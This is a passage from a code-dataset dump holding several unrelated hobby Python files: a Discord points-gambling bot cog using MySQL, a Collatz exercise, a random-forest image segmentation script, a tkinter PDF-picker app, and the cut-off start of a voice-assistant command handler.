ranked = \"🥇\"\r\n if rank_number == 2: # change 1.2.3.\r\n ranked = \"🥈\"\r\n if rank_number == 3: # change 1.2.3.\r\n ranked = \"🥉\"\r\n if rank_number > 3:\r\n ranked = f\"{ranked}.\" # adds dot at end, and not on medals\r\n\r\n msg_str = msg_str + f\"{ranked} {table[num][1]}: `{table[num][2]}` \\n\"\r\n\r\n #print(msg_str)\r\n\r\n embed = discord.Embed(\r\n title=f\"Point leaderboard xDd\",\r\n description=f\"{msg_str}\",\r\n colour=7419530\r\n )\r\n\r\n await ctx.send(embed=embed)\r\n\r\n @commands.command()\r\n @commands.cooldown(1,22222,commands.BucketType.user) #76400\r\n async def daily(self, ctx):\r\n\r\n ############# check if user is in table already\r\n table = checkIfUserinDB(ctx.author.id)\r\n\r\n if len(table) < 1:\r\n addUserToDB(ctx.author.id,ctx.author.display_name)\r\n\r\n numberRoll = random.randint(0,100)\r\n if numberRoll > 49 and numberRoll < 80:\r\n amount = random.randint(1000,3000)\r\n elif numberRoll > 79:\r\n amount = random.randint(3000,10000)\r\n else:\r\n amount = 1000\r\n\r\n ########### MULTIPLIER\r\n mycursor.execute(f\"SELECT authorID,COUNT(*) as count FROM `{ctx.guild.id}`.loggedmsgs \"\r\n f\"WHERE date_format(datetimeMSG, '%Y-%m-%d-%T') >= NOW() - INTERVAL 24 hour \"\r\n f\"and guildID = {ctx.guild.id} GROUP BY authorID ORDER BY count DESC\")\r\n table = mycursor.fetchall() # grabs table sorted\r\n\r\n #print(table)\r\n #print(\"================\")\r\n result = max(range(len(table)),key=lambda i: table[i][0] == str(ctx.author.id)) #gets index of user ID, 0 if user not in list (0msgs for the day)\r\n\r\n #print(table[result])\r\n if table[result][0] == str(ctx.author.id): #extra check if user is right spot - 0 msgs return 0.\r\n message_rank_multipler = int(result)+1\r\n else:\r\n message_rank_multipler = 1000\r\n\r\n message_rank_multipler = round(max(1,3.5-log(message_rank_multipler)),2)\r\n #print(message_rank_multipler)\r\n\r\n ######### Booster rank multiplier\r\n author_roles = [r.id for r in ctx.author.roles]\r\n if 804494451245711360 in author_roles:\r\n boost_multiplier = 2\r\n else:\r\n boost_multiplier = 1\r\n\r\n amount = round(amount * (boost_multiplier*message_rank_multipler))\r\n #adding 1000 points to user\r\n mycursor.execute(\r\n f\"select * from gambledb.points where authorID = {ctx.author.id}\"\r\n )\r\n table = mycursor.fetchall()\r\n current_points = int(table[0][2])\r\n\r\n ##################\r\n bought_multiplier = 1\r\n\r\n mycursor.execute( #gives daily points\r\n f\"update gambledb.points set points = {current_points+amount} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n\r\n embed = discord.Embed(\r\n title=f\"✨ Daily Points ✨\",\r\n description=f\"Message multiplier: x{message_rank_multipler}\\n\"\r\n f\"Server boost multiplier: x{boost_multiplier}\\n\"\r\n f\"Bought multiplier: x{bought_multiplier}\\n\\n\"\r\n f\"total multiplier: x{message_rank_multipler*boost_multiplier*bought_multiplier}\\n\\n\"\r\n f\"**{ctx.author.display_name}** has received `{amount}` points. Balance: `{current_points+amount}`\"\r\n )\r\n await ctx.send(embed=embed)\r\n\r\n @commands.command()\r\n async def gamble(self, ctx, amount):\r\n table = checkIfUserinDB(ctx.author.id)\r\n\r\n if len(table) < 1:\r\n addUserToDB(ctx.author.id, ctx.author.display_name)\r\n await ctx.send(f\"Added {ctx.author.mention}. Use !daily to get some points\")\r\n else:\r\n current_points = int(table[0][2])\r\n if amount == \"all\":\r\n amount = current_points\r\n amount = max(0,int(amount))\r\n\r\n if current_points >= amount:\r\n #take points from user. fuck double dippers\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {current_points - amount} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n\r\n #gamble\r\n dice1 = random.randint(1, 100)\r\n dice2 = random.randint(1, 100)\r\n dice3 = random.randint(1, 100)\r\n dice4 = random.randint(1, 100)\r\n dice5 = random.randint(1, 100)\r\n finaldice = random.randint(1, 100)\r\n\r\n msg1 = await ctx.send(\"Rolling Dice...\")\r\n await msg1.edit(content=f\"...**{dice1}** \")\r\n await asyncio.sleep(0.3)\r\n await msg1.edit(content=f\"...**{dice2}** \")\r\n await asyncio.sleep(0.3)\r\n await msg1.edit(content=f\"...**{dice3}** \")\r\n await asyncio.sleep(0.3)\r\n await msg1.edit(content=f\"...**{dice4}** \")\r\n await asyncio.sleep(0.3)\r\n await msg1.edit(content=f\"...**{dice5}** \")\r\n await asyncio.sleep(0.3)\r\n await msg1.edit(content=f\"...**{finaldice}** \")\r\n await asyncio.sleep(0.5)\r\n\r\n table = checkIfUserinDB(ctx.author.id)\r\n current_points = int(table[0][2])\r\n gambleprofit = int(table[0][5])\r\n gambleWins = int(table[0][3])\r\n gambleLose = int(table[0][4])\r\n if finaldice > 54: #win\r\n\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {current_points+amount*2}, gambleProfit = {gambleprofit+amount}, gambleWin = {gambleWins+1} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n await msg1.edit(\r\n content=f\"<:pokiooupurplee:845472604658597898>Gz... you rolled: {finaldice}. You now have {current_points + amount*2} points<:PogGottem:898627342925189143>\")\r\n\r\n else: #lose\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {current_points}, gambleProfit = {gambleprofit - amount}, gambleLose = {gambleLose + 1} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n await msg1.edit(\r\n content=f\"<:KEKL:846417220593647656> Bad rng... you rolled: {finaldice} and lost {amount} points. \"\r\n f\"You now have {current_points} points<:KEKL:846417220593647656>\")\r\n\r\n\r\n else:\r\n await ctx.send(f\"Insufficient points. You have {current_points}\")\r\n\r\n\r\n @commands.command(aliases=[\"BJ\",\"blackjack\",\"Blackjack\"])\r\n async def bj(self, ctx, amount):\r\n table = checkIfUserinDB(ctx.author.id)\r\n #print(table)\r\n author_points = int(table[0][2])\r\n\r\n if amount == \"all\":\r\n amount = author_points\r\n elif amount ==\"half\":\r\n amount = floor(author_points/2)\r\n\r\n amount = max(0, int(amount))\r\n\r\n\r\n if amount > author_points:\r\n await ctx.send(f\"Insufficient points. You have {author_points}\")\r\n else:\r\n # take points from user. fuck double dippers\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points - amount} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n\r\n card1, value1 = pickCard()\r\n card2, value2 = pickCard()\r\n card3, value3 = pickCard()\r\n\r\n author_num = int(value1) + int(value2)\r\n dealer_num = int(value3)\r\n\r\n\r\n if card1 == \"A\" and card2 == \"A\": #if double ace start\r\n author_num = 12\r\n\r\n embed = discord.Embed(\r\n title=f\"BlackJack | `{amount}` pesos\",\r\n colour=discord.Colour.red()\r\n )\r\n embed.add_field(name=f\"You | {author_num}\", value=f\"{card1}, {card2}\", inline=False)\r\n embed.add_field(name=f\"Dealer | {dealer_num}\",value=f\"{card3}\", inline=False)\r\n #description = f\"You | {author_num}\\n\\nDealer | {dealer_num}\",\r\n try:\r\n embed.set_author(name=f\"{ctx.author.display_name}\",icon_url=f\"{ctx.author.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{ctx.author.display_name}\", icon_url=f\"{ctx.author.default_avatar.url}\")\r\n embed.set_footer(text=f\"{ctx.author.id}\")\r\n\r\n if author_num == 21: #if win\r\n embed.add_field(name=\"Winner\", value=f\"You won {round(amount*1.5)} points. Total {author_points+(round(amount*1.5))}\", inline=False)\r\n\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points + round(amount*1.5)}, bjWin ={(int(table[0][9]))+1}, bjProfit = {(int(table[0][11]))+round(amount*1.5)} where authorID = {ctx.author.id}\")\r\n db.commit()\r\n\r\n await ctx.send(embed=embed, view=None)\r\n else: #if lose\r\n await ctx.send(embed=embed, view=BjButtons(timeout=300))\r\n\r\n @commands.command()\r\n async def give(self,ctx, member : discord.Member, amount : int):\r\n author_table = checkIfUserinDB(ctx.author.id)\r\n member_table = checkIfUserinDB(member.id)\r\n author_points = int(author_table[0][2])\r\n member_points = int(member_table[0][2])\r\n\r\n amount = max(0,amount)\r\n\r\n if author_points >= amount:\r\n member_exist = 0\r\n author_exist = 0\r\n if len(author_table) > 0:\r\n author_exist = 1\r\n else:\r\n addUserToDB(ctx.author.id,ctx.author.display_name)\r\n if len(member_table) > 0:\r\n member_exist = 1\r\n else:\r\n addUserToDB(member.id,member.display_name)\r\n\r\n if member_exist + author_exist == 2:\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points - amount} where authorID = {ctx.author.id}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {member_points + amount} where authorID = {member.id}\")\r\n db.commit()\r\n\r\n await ctx.send(f\"You gave {member.display_name} {amount} points. They now have {member_points+amount} points\")\r\n\r\n else:\r\n await ctx.send(\"Try again\")\r\n else:\r\n await ctx.send(f\"Insufficient points. Balance: {author_points}\")\r\n\r\n\r\n @commands.command(aliases=[\"Board\",\"stats\",\"Stats\"])\r\n async def board(self, ctx):\r\n \"\"\"Shows the best and worst gamblers\"\"\"\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by abs(points) desc limit 3;\"\r\n )\r\n point_table = mycursor.fetchall()\r\n\r\n embed = discord.Embed(\r\n title=f\"Misc stats {ctx.guild.name}\",\r\n )\r\n embed.add_field(name=\"Top points\", value=f\"🥇**{point_table[0][1]}**: `{point_table[0][2]}` \\n\"\r\n f\"🥈**{point_table[1][1]}**: `{point_table[1][2]}` \\n\"\r\n f\"🥉**{point_table[2][1]}**: `{point_table[2][2]}` \\n\",\r\n inline=False)\r\n ####### gambles\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by abs(gambleWin+gambleLose) desc\"\r\n )\r\n most_addict = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by gambleProfit+0 desc \"\r\n )\r\n most_wins = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by gambleProfit+0 asc \"\r\n )\r\n most_lost = mycursor.fetchall()\r\n\r\n embed.add_field(name=\"Gamblers\", value=f\"Most Addict: **{most_addict[0][1]}** with `{int(most_addict[0][3])+int(most_addict[0][4])}` gambles \\n\"\r\n f\"Biggest winner: **{most_wins[0][1]}** with `{most_wins[0][5]}` profit \\n\"\r\n f\"Biggest loser: **{most_lost[0][1]}** with `{most_lost[0][5]}` profit xdd \\n\",\r\n inline=False)\r\n ####### blackjack\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by abs(bjWin+bjLose) desc\"\r\n )\r\n most_addict = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by bjProfit+0 desc \"\r\n )\r\n most_wins = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by bjProfit+0 asc \"\r\n )\r\n most_lost = mycursor.fetchall()\r\n\r\n embed.add_field(name=\"Blackjackers (bj)\", value=f\"Most Addict: **{most_addict[0][1]}** with `{int(most_addict[0][9])+int(most_addict[0][10])}` bjs \\n\"\r\n f\"Biggest winner: **{most_wins[0][1]}** with `{most_wins[0][11]}` profit \\n\"\r\n f\"Biggest loser: **{most_lost[0][1]}** with `{most_lost[0][11]}` profit xdd \\n\",\r\n inline=False)\r\n\r\n ####### DUELS\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by abs(duelWin+duelLose) desc\"\r\n )\r\n most_addict = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by duelProfit+0 desc \"\r\n )\r\n most_wins = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points order by duelProfit+0 asc \"\r\n )\r\n most_lost = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points where abs(duelWin+duelLose) > 8 order by abs(duelLose/(duelWin+duelLose)) desc \"\r\n )\r\n worst_winrate = mycursor.fetchall() #with more than 9 duels\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points where abs(duelWin+duelLose) > 8 order by abs(duelLose/(duelWin+duelLose)) asc \"\r\n )\r\n best_winrate = mycursor.fetchall() # with more than 9 duels\r\n\r\n embed.add_field(name=\"DUELERS (strong white whippers)\",\r\n value=f\"Most Addict: **{most_addict[0][1]}** with `{int(most_addict[0][6]) + int(most_addict[0][7])}` duels \\n\"\r\n f\"Biggest winner: **{most_wins[0][1]}** with `{most_wins[0][8]}` profit \\n\"\r\n f\"Biggest loser: **{most_lost[0][1]}** with `{most_lost[0][8]}` profit xdd \\n\"\r\n f\"WORST winrate: **{worst_winrate[0][1]}** with `{round((int(worst_winrate[0][6])/(int(worst_winrate[0][7])+int(worst_winrate[0][6])))*100,2)}`% \\n\"\r\n f\"Best winrate: **{best_winrate[0][1]}** with `{round((int(best_winrate[0][6]) / (int(best_winrate[0][6]) + int(best_winrate[0][7]))) * 100, 2)}`% \\n\",\r\n inline=False)\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\n @commands.command()\r\n @commands.cooldown(1,23,commands.BucketType.guild)\r\n async def duel(self,ctx, amount : int):\r\n table = checkIfUserinDB(ctx.author.id)\r\n author_points = int(table[0][2])\r\n\r\n if author_points >= amount:\r\n embed = discord.Embed(\r\n title=f\"Duel request - click \\\"Accept Duel\\\" to fight\"\r\n )\r\n embed.add_field(name=\"Points at stake\", value=f\"`{amount}`\")\r\n embed.set_footer(text=f\"{ctx.author.id}\")\r\n try:\r\n embed.set_author(name=f\"{ctx.author.display_name}\", icon_url=f\"{ctx.author.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{ctx.author.display_name}\", icon_url=f\"{ctx.author.default_avatar.url}%\")\r\n\r\n await ctx.send(embed=embed,view=duelButton(timeout=15))\r\n else:\r\n await ctx.send(f\"insufficient points. Balance {author_points}\")\r\n\r\n\r\n @commands.command(aliases=[\"Duels\"])\r\n async def duels(self, ctx, member : discord.Member = None):\r\n if not member:\r\n member = ctx.author\r\n\r\n table = checkIfUserinDB(member.id)\r\n\r\n embed = discord.Embed(\r\n title=f\"Duels for **{member.display_name}**\",\r\n description=f\"Wins: `{table[0][6]}`. Losses `{table[0][7]}`. Profit `{table[0][8]}`\\n\"\r\n f\"Winrate: {round((int(table[0][6])/(int(table[0][6])+int(table[0][7])))*100,2)}%\"\r\n )\r\n\r\n try:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.default_avatar.url}\")\r\n\r\n await ctx.send(embed=embed)\r\n\r\n @commands.command(aliases=[\"Gambles\"])\r\n async def gambles(self, ctx, member: discord.Member = None):\r\n if not member:\r\n member = ctx.author\r\n\r\n table = checkIfUserinDB(member.id)\r\n\r\n embed = discord.Embed(\r\n title=f\"Gambles for **{member.display_name}**\",\r\n description=f\"Wins: `{table[0][3]}`. Losses `{table[0][4]}`. Profit `{table[0][5]}`\\n\"\r\n f\"Winrate: {round((int(table[0][3]) / (int(table[0][3]) + int(table[0][4])))*100,2)}%\"\r\n )\r\n\r\n try:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.default_avatar.url}\")\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\n @commands.command(aliases=[\"Bjs\",\"BJS\",\"BJs\"])\r\n async def bjs(self, ctx, member: discord.Member = None):\r\n if not member:\r\n member = ctx.author\r\n\r\n table = checkIfUserinDB(member.id)\r\n\r\n embed = discord.Embed(\r\n title=f\"BJs for **{member.display_name}**\",\r\n description=f\"Wins: `{table[0][9]}`. Losses `{table[0][10]}`. Profit `{table[0][11]}`\\n\"\r\n f\"Winrate: {round((int(table[0][9]) / (int(table[0][10]) + int(table[0][9])))*100,2)}\"\r\n )\r\n try:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{member.display_name}\", icon_url=f\"{member.default_avatar.url}\")\r\n\r\n await ctx.send(embed=embed)\r\n\r\n\r\n @commands.command()\r\n @commands.cooldown(1,1111,commands.BucketType.guild)\r\n async def lottery(self,ctx, lottery_time : int, prize_pool_amount : int, lottery_ID = None):\r\n if ctx.author.id == 228143014168625153:\r\n await ctx.message.delete()\r\n if not lottery_ID:\r\n lottery_ID = random.randint(1,100000000)\r\n prize_pool_amount = min(prize_pool_amount,250000)\r\n embed = discord.Embed(\r\n title=f\"🎉**{ctx.guild.name.upper()}** LOTTERY!🎉\",\r\n )\r\n embed.set_footer(text=f\"{lottery_ID}\")\r\n prize_pool = embed.add_field(name=\"💰**Prize Pool**💰\",value=f\"The lottery currently has a prize pool of `{prize_pool_amount}` points. \\n Each ticket is 1.000 points (first free)\", inline=False)\r\n time_left = embed.add_field(name=\"⏰**Time left**⏰\", value=f\"This lottery is running for another `{lottery_time}` minute(s)\", inline=False)\r\n new_field = embed.add_field(name=\"💲Current entries:💲\", value=\"NOBODY?!\", inline=False)\r\n\r\n await ctx.send(\"<@&996897096814837941>\")\r\n message1 = await ctx.send(embed=embed, view=lotteryButton())\r\n\r\n count = 0\r\n for x in range(lottery_time*3):\r\n await asyncio.sleep(19) # change to 20\r\n minutes_left = ceil(lottery_time-(count/3))\r\n #print(minutes_left)\r\n\r\n #get points / tickets / entries from db\r\n embed.set_field_at(1,name=\"⏰**Time left**⏰\",\r\n value=f\"Less than `{minutes_left}` minutes left\",\r\n inline=False)\r\n\r\n\r\n # whoever bought tickets gets added\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.lottery where lotteryID = {lottery_ID}\"\r\n )\r\n entries_so_far = mycursor.fetchall()\r\n\r\n entri_message = \"\"\r\n for x in range(len(entries_so_far)):\r\n entri_message = f\"{entri_message}**{entries_so_far[x][2]}**: `{entries_so_far[x][1]}` tickets\\n\"\r\n if len(entri_message) == 0:\r\n entri_message = \"Nobody <:Sadge:915989666824609804>\"\r\n\r\n embed.set_field_at(2, name=\"💲Current entries:💲\", value=f\"\\n{entri_message}\", inline=False)\r\n\r\n\r\n ######### prize pool\r\n mycursor.execute(\r\n f\"SELECT sum(ticketAmount) FROM gambledb.lottery where lotteryID = {lottery_ID};\"\r\n )\r\n total_tickets = mycursor.fetchall()\r\n\r\n if not str(total_tickets[0][0]) == \"None\":\r\n new_prize_pool_amount = prize_pool_amount + (int(total_tickets[0][0])*800)\r\n else:\r\n continue\r\n embed.set_field_at(0, name=\"💰**Prize Pool**💰\",value=f\"The lottery currently has a prize pool of `{new_prize_pool_amount}` points. \\n Each ticket is 1.000 points (first free)\", inline=False)\r\n\r\n count += 1\r\n\r\n await message1.edit(embed=embed, view=lotteryButton())\r\n\r\n #PICK WINNER NOW\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.lottery where lotteryID = {lottery_ID};\"\r\n )\r\n all_entries = mycursor.fetchall()\r\n all_entries_list = []\r\n entry_id_list = []\r\n number_of_tickets_each = []\r\n for y in range(len(all_entries)):\r\n all_entries_list.append(all_entries[y][2])\r\n entry_id_list.append(all_entries[y][0])\r\n number_of_tickets_each.append(int(all_entries[y][1]))\r\n\r\n\r\n winner_id = random.choices(\r\n entry_id_list, weights=number_of_tickets_each)[0]\r\n\r\n print(winner_id) ########################S\r\n winner_num = entry_id_list.index(winner_id)\r\n winner_name = all_entries_list[winner_num]\r\n\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.lottery where lotteryID = {lottery_ID}\"\r\n )\r\n entries_so_far = mycursor.fetchall()\r\n\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.lottery where lotteryID = {lottery_ID} and userID = {winner_id}\"\r\n )\r\n winner_table = mycursor.fetchall()\r\n\r\n embed = discord.Embed(\r\n title=f\"🎉**{ctx.guild.name.upper()}** LOTTERY!🎉\",\r\n description=f\"**Winner of Lottery**\\n \\n 💰**Prize Pool**💰\\n\\n `{new_prize_pool_amount}` points has been won by **{winner_name}**!\"\r\n f\"\\n\\n\"\r\n f\"{winner_name} had `{winner_table[0][1]}` ticket(s)\"\r\n f\"\\n\\n**Total**:\\n `{len(entries_so_far)}` Shitters entered with {round(total_tickets[0][0])} tickets \"\r\n )\r\n\r\n await message1.edit(embed=embed, view=None)\r\n await ctx.send(f\"gz {winner_name}!\")\r\n winner_points = checkIfUserinDB(winner_id)\r\n\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {int(winner_points[0][2]) + new_prize_pool_amount} where authorID = {winner_id}\")\r\n db.commit()\r\n\r\n\r\n \"\"\"@commands.command()\r\n async def timezone(self, ctx):\r\n await ctx.send(\"Choose a timezone!\", view=MyView1())\"\"\"\r\n\r\ndef setup(bot):\r\n bot.add_cog(Gambling(bot))","repo_name":"324124124124124sw/bot","sub_path":"cogs/gambling.py","file_name":"gambling.py","file_ext":"py","file_size_in_byte":76560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"42125567079","text":"def steps(number: int) -> int:\n \"\"\"The Collatz Conjecture implementation:\n given a number return the number of steps\n necessary to reduce it to 1.\n \"\"\"\n steps: int = 0\n if number < 1:\n raise ValueError(\"Only positive integers are allowed\")\n while number != 1:\n number = (number / 2) if (number % 2 == 0) else (number * 3) + 1\n steps += 1\n return steps\n","repo_name":"AlessandroKuz/Exercism","sub_path":"Python Track/Numbers/5. Collatz Conjecture/Iteration2.py","file_name":"Iteration2.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"20307625451","text":"# %%\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom skimage import data, segmentation, feature, future\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom functools import partial\r\nimport rasterio as rio\r\nimport cv2\r\n\r\n# %%\r\nfrom skimage import io\r\nimage=io.imread('E:\\Machine_Learning\\IMAGE SEGMENTATION\\Flevo123.tif')\r\n\r\n# %%\r\n# array = image.imread(1)\r\n# image.shape\r\n\r\n# %%\r\nplt.imshow(image,cmap=\"hsv\")\r\nplt.colorbar()\r\n\r\n# %%\r\nplt.show() \r\nplt.hist(array)\r\n\r\n\r\n# %%\r\nplt.hist(image.ravel(),bins=256)\r\nplt.show()\r\n\r\n# %%\r\nimg = image[:400, :500]\r\ntraining_labels = np.zeros(img.shape[:2], dtype=np.uint8)\r\n# training_labels[0:20] = 1\r\n# training_labels[30:50, 95:100] = 3\r\ntraining_labels[180:200, 220:223] = 3\r\ntraining_labels[310:350, 100:170] = 4\r\n# training_labels[150:170, 450:480] = 4\r\ntraining_labels[50:100, 420:500] = 5\r\n\r\n# %%\r\n\r\nsigma_min = 1\r\nsigma_max = 3\r\nfeatures_func = partial(feature.multiscale_basic_features,\r\n intensity=True, edges=False, texture=True,\r\n sigma_min=sigma_min, sigma_max=sigma_max,\r\n channel_axis=-1)\r\nfeatures = features_func(img)\r\nclf = RandomForestClassifier(n_estimators=50, n_jobs=-1,\r\n max_depth=10, max_samples=0.05)\r\nclf = future.fit_segmenter(training_labels, features, clf)\r\nresult = future.predict_segmenter(features, clf)\r\n\r\nfig, ax = plt.subplots(1, 2, sharex=True, sharey=True, figsize=(9, 4))\r\nax[0].imshow(segmentation.mark_boundaries(img, result, mode='thick'))\r\nax[0].contour(training_labels)\r\nax[0].set_title('Image, mask and segmentation boundaries')\r\nax[1].imshow(result)\r\nax[1].set_title('Segmentation')\r\nfig.tight_layout()\r\n\r\n# %%\r\n\r\nfig, ax = plt.subplots(1, 2, figsize=(9, 4))\r\nl = len(clf.feature_importances_)\r\nfeature_importance = (\r\n clf.feature_importances_[:l//3],\r\n clf.feature_importances_[l//3:2*l//3],\r\n clf.feature_importances_[2*l//3:])\r\nsigmas = np.logspace(\r\n np.log2(sigma_min), np.log2(sigma_max),\r\n num=int(np.log2(sigma_max) - np.log2(sigma_min) + 1),\r\n base=2, endpoint=True)\r\nfor ch, color in zip(range(3), ['r', 'g', 'b']):\r\n ax[0].plot(sigmas, feature_importance[ch][::3], 'o', color=color)\r\n ax[0].set_title(\"Intensity features\")\r\n ax[0].set_xlabel(\"$\\\\sigma$\")\r\nfor ch, color in zip(range(3), ['r', 'g', 'b']):\r\n ax[1].plot(sigmas, feature_importance[ch][1::3], 'o', color=color)\r\n ax[1].plot(sigmas, feature_importance[ch][2::3], 's', color=color)\r\n ax[1].set_title(\"Texture features\")\r\n ax[1].set_xlabel(\"$\\\\sigma$\")\r\n\r\nfig.tight_layout()\r\n\r\n# %%\r\nimage=io.imread('E:\\Machine_Learning\\IMAGE SEGMENTATION\\Flevo123.tif')\r\nimg_new = image[:100, :200]\r\nfeatures_new = features_func(img_new)\r\nresult_new = future.predict_segmenter(features_new, clf)\r\nfig, ax = plt.subplots(1, 2, sharex=True, sharey=True, figsize=(6, 4))\r\nax[0].imshow(segmentation.mark_boundaries(img_new, result_new, mode='thick'))\r\nax[0].set_title('Image')\r\nax[1].imshow(result_new)\r\nax[1].set_title('Segmentation')\r\nfig.tight_layout()\r\n\r\nplt.show()\r\n\r\n# %%\r\n\r\n\r\n\r\n","repo_name":"MdTamsheelAnsari/Image-segmentation_-using_Random-Forest","sub_path":"segmentation_script.py","file_name":"segmentation_script.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"26551962895","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog\nimport PyPDF2\n\nclass Application(tk.Tk):\n def __init__(self):\n tk.Tk.__init__(self)\n self.title(\"Detection falsification\")\n \n # Créer la barre de navigation\n self.navigation_bar = ttk.Treeview(self)\n self.navigation_bar.pack(side=\"left\", fill=\"y\")\n\n # Ajouter les pages à la barre de navigation\n self.navigation_bar.tag_configure(\"big_font\", font=(\"Arial\", 12))\n self.navigation_bar.insert(\"\", \"end\", text=\"Accueil\", values=(\"accueil_page\",), tags=(\"big_font\",))\n self.navigation_bar.insert(\"\", \"end\", text=\"Enregistrer\", values=(\"enregistrer_page\",), tags=(\"big_font\",))\n\n # Associer les pages aux boutons de la barre de navigation\n self.navigation_bar.bind(\"<>\", self.show_selected_page)\n\n # Créer les pages\n self.accueil_page = AccueilPage(self)\n self.enregistrer_page = EnregistrerPage(self)\n\n # Afficher la page d'accueil par défaut\n self.show_page(self.accueil_page)\n\n def show_selected_page(self, event):\n selected_item = self.navigation_bar.selection()\n page_id = self.navigation_bar.item(selected_item)[\"values\"][0]\n \n if page_id == \"accueil_page\":\n self.show_page(self.accueil_page)\n elif page_id == \"enregistrer_page\":\n self.show_page(self.enregistrer_page)\n\n def show_page(self, page):\n if hasattr(self, \"current_page\"):\n self.current_page.pack_forget()\n \n page.pack(fill=\"both\", expand=True)\n self.current_page = page\n\nclass AccueilPage(tk.Frame):\n def __init__(self, master):\n tk.Frame.__init__(self, master,bg=\"#c3c3c3\", highlightbackground=\"black\", highlightthickness=1) # Ajout du fond rouge au cadre principal\n self.pack(fill=\"both\", expand=True)\n \n self.text = tk.Text()\n\n # Champ d'entrée pour le chemin du fichier PDF\n self.file_entry = tk.Entry(self)\n self.file_entry.pack(side=\"left\", padx=10, pady=10)\n\n # Bouton pour sélectionner le fichier PDF\n self.select_button = tk.Button(self, text=\"Sélectionner\", command=self.select_pdf)\n self.select_button.pack(side=\"left\", padx=5)\n\n def select_pdf(self):\n filepath = filedialog.askopenfilename(filetypes=[(\"Fichiers PDF\", \"*.pdf\")])\n self.file_entry.delete(0, tk.END) # Effacer le contenu précédent\n self.file_entry.insert(tk.END, filepath)\n\n\n\nclass EnregistrerPage(tk.Frame):\n def __init__(self, master):\n tk.Frame.__init__(self, master)\n self.label = tk.Label(self, text=\"Bienvenue sur la page d'enregistrement\")\n self.label.pack(fill=\"both\", expand=True)\n \n\nif __name__ == \"__main__\":\n app = Application()\n app.mainloop()\n","repo_name":"alasco-ouaga/QrcodeForFacificatio","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39534755454","text":"from DictBasedCommandRecognizer import DictBasedCommandRecognizer\nfrom DifflibMatchFinder import DifflibMatchFinder\nfrom CoreOutputSingleton import CoreOutputSingleton\nfrom AbstractCoreCommandProceedingBehavior import AbstractCoreCommandProceedingBehavior\nfrom SearchCommandProceedingBehavior import SearchCommandProceedingBehavior\nfrom CommandConfigLoader import CommandConfigLoader\nimport random\nimport sys\nsys.path.append(\"../\")\nfrom config import config\nfrom logger import Logger\nlogger = Logger(\"Core[SearchFailed]\")\n\n\nclass SearchFailedCommandProceedingBehavior(AbstractCoreCommandProceedingBehavior):\n \"\"\"\n This class is implemented as a singleton as it is\n required to call the same instance during all program run.\n \"\"\"\n instance = None\n\n @staticmethod\n def getInstance():\n if not SearchFailedCommandProceedingBehavior.instance:\n SearchFailedCommandProceedingBehavior.instance = SearchFailedCommandProceedingBehavior()\n return SearchFailedCommandProceedingBehavior.instance\n\n def __init__(self):\n super(SearchFailedCommandProceedingBehavior, self).__init__()\n self.behavior_type = 'search_failed'\n self.__commands_dict = config['core_commands_search_failed']\n self.setCommandRecognizer(DictBasedCommandRecognizer(CommandConfigLoader.load(self.__commands_dict), DifflibMatchFinder))\n self._output_connection = CoreOutputSingleton.getInstance()\n\n def proceed(self, user_input, parent):\n recognized_command = self._command_recognizer.recognize_command(user_input)\n\n if recognized_command == \"MUTE\":\n self._output_connection.sendPOST({'type': 'MUTE', 'command': ''})\n elif recognized_command == 